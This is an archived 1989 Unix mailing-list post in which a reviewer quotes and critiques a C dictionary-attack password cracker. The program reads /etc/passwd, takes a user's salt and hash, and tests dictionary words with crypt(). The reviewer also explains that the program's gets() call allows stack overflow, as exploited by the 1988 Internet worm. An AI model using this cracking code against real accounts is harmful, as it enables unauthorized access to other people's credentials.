Password checking program

Root Boy Jim rbj at dsys.ncsl.nist.gov
Wed Aug 9 22:11:19 AEST 1989


? From: CCEL <ccel at community-chest.uucp>

? I'm still getting requests for that silly password checking program
? I talked about last week, and I thought i'd posted the source here

How about a more portable and safe version? Comments follow.

? Remember to take my .sig off the end of this guy.

You might have saved yourself some embarrassment if you had.

?  -------------------------------CUT HERE-----------------------------
? /* Password hacking program					*/
? /* Written by: Matt Hopkins (2138a3 at gmuvax2.gmu.edu)		*/
? #include <stdio.h>
? #include <ctype.h>
? #define NOTDONE 0
? #define DONE 1
? #define ENDOFFILE -1

? void main()
? {
?   FILE *dict;
?   FILE *passwd;
?   char word[40],ch;
?   char *userpass;
?   char salt[3];
?   int done=NOTDONE;
?   char username[20],testname[20],garbage[120],hold[15];

?   printf("Enter username to search for: ");
?   gets(username);

Hmmm. Now if only I can get you to install this guy suid root
with a well known network port :-)

To explain that remark, `gets' is a dangerous function to use,
especially when an automatic variable is its target. By typing
averylongname, containing machine code, one can overwrite the
stack's return address and jump to the machine code. In fact,
such a technique was exploited by the Internet worm last November.

?   printf("Searching for '%s' ...\n",username);
?     {
?       passwd=fopen("/etc/passwd","r");
?       while (done==NOTDONE)
? 	{
?           fscanf(passwd,"%s",garbage);
?           fscanf(passwd,"\n");

Use fscanf(passwd,"%s\n",garbage);
In fact, avoid the use of fscanf (or scanf) altogether.
Use fgets followed by sscanf. Error recovery is easier.

?           strcpy(testname,strtok(garbage,":"));

Strtok is a System V routine, not generally found on BSD systems.
Why didn't you just use fscanf directly to parse the
colons and separate the username and passwd?

In fact, why didn't you use getpwent to find the username and
bypass this loop altogether?

?           strcpy(hold,strtok(NULL,":"));
?           salt[0]=hold[0];
?           salt[1]=hold[1];
?           salt[2]='\0';
?           userpass=hold+2;
?           if (strcmp(testname,username)==0) 
?             done=DONE;
?           else
?             if (feof(passwd))
?               done=ENDOFFILE;
?         }
?       if (done==ENDOFFILE)
?         {
?           strcpy(userpass,"NOTFOUND");
?           puts("User not found in passwd file.");
?         }
?     }
?   fclose(passwd);
?   if (done!=ENDOFFILE)
?     done=NOTDONE;
?   dict=fopen("/usr/dict/words","r");
?   ch=0;
?   while (done==NOTDONE)
?     {
?       fscanf(dict,"%s\n",word);

Another good use for fgets.

?       if ((word[0]>='a') && (word[0]>ch))
?         {
?           ch=word[0];
?           printf("Now on the %c's (chug .. chug .. chug)\n",ch);
?         }
?       if (isupper(word[0])) word[0]+=32; 

How about using tolower?

?       if (strcmp(userpass-2,crypt(word,salt))==0) 
?         {
?           printf("The password is '%s'\n",word);
?           done=DONE;
? 	}
?       if ((feof(dict)) && (done!=DONE))
?         done=ENDOFFILE;
?     }
?   if (done==ENDOFFILE)
?     puts("Sorry ... password not found in dict.\n");

Sorry? That's GOOD news!

?   fclose(dict); 
? }

I won't bother too much with style matters, except to say that
both of your loops could use `for(;;)' and `break'.

?  -------------------------------CUT HERE-----------------------------
?  --------------------------------------
? Randy Tidd                   MITRE-McLean CCEL Lab
? rtidd at mitre.arpa             ccel%community-chest at gateway.mitre.org

	Root Boy Jim
	Have GNU, Will Travel.



More information about the Comp.unix.questions mailing list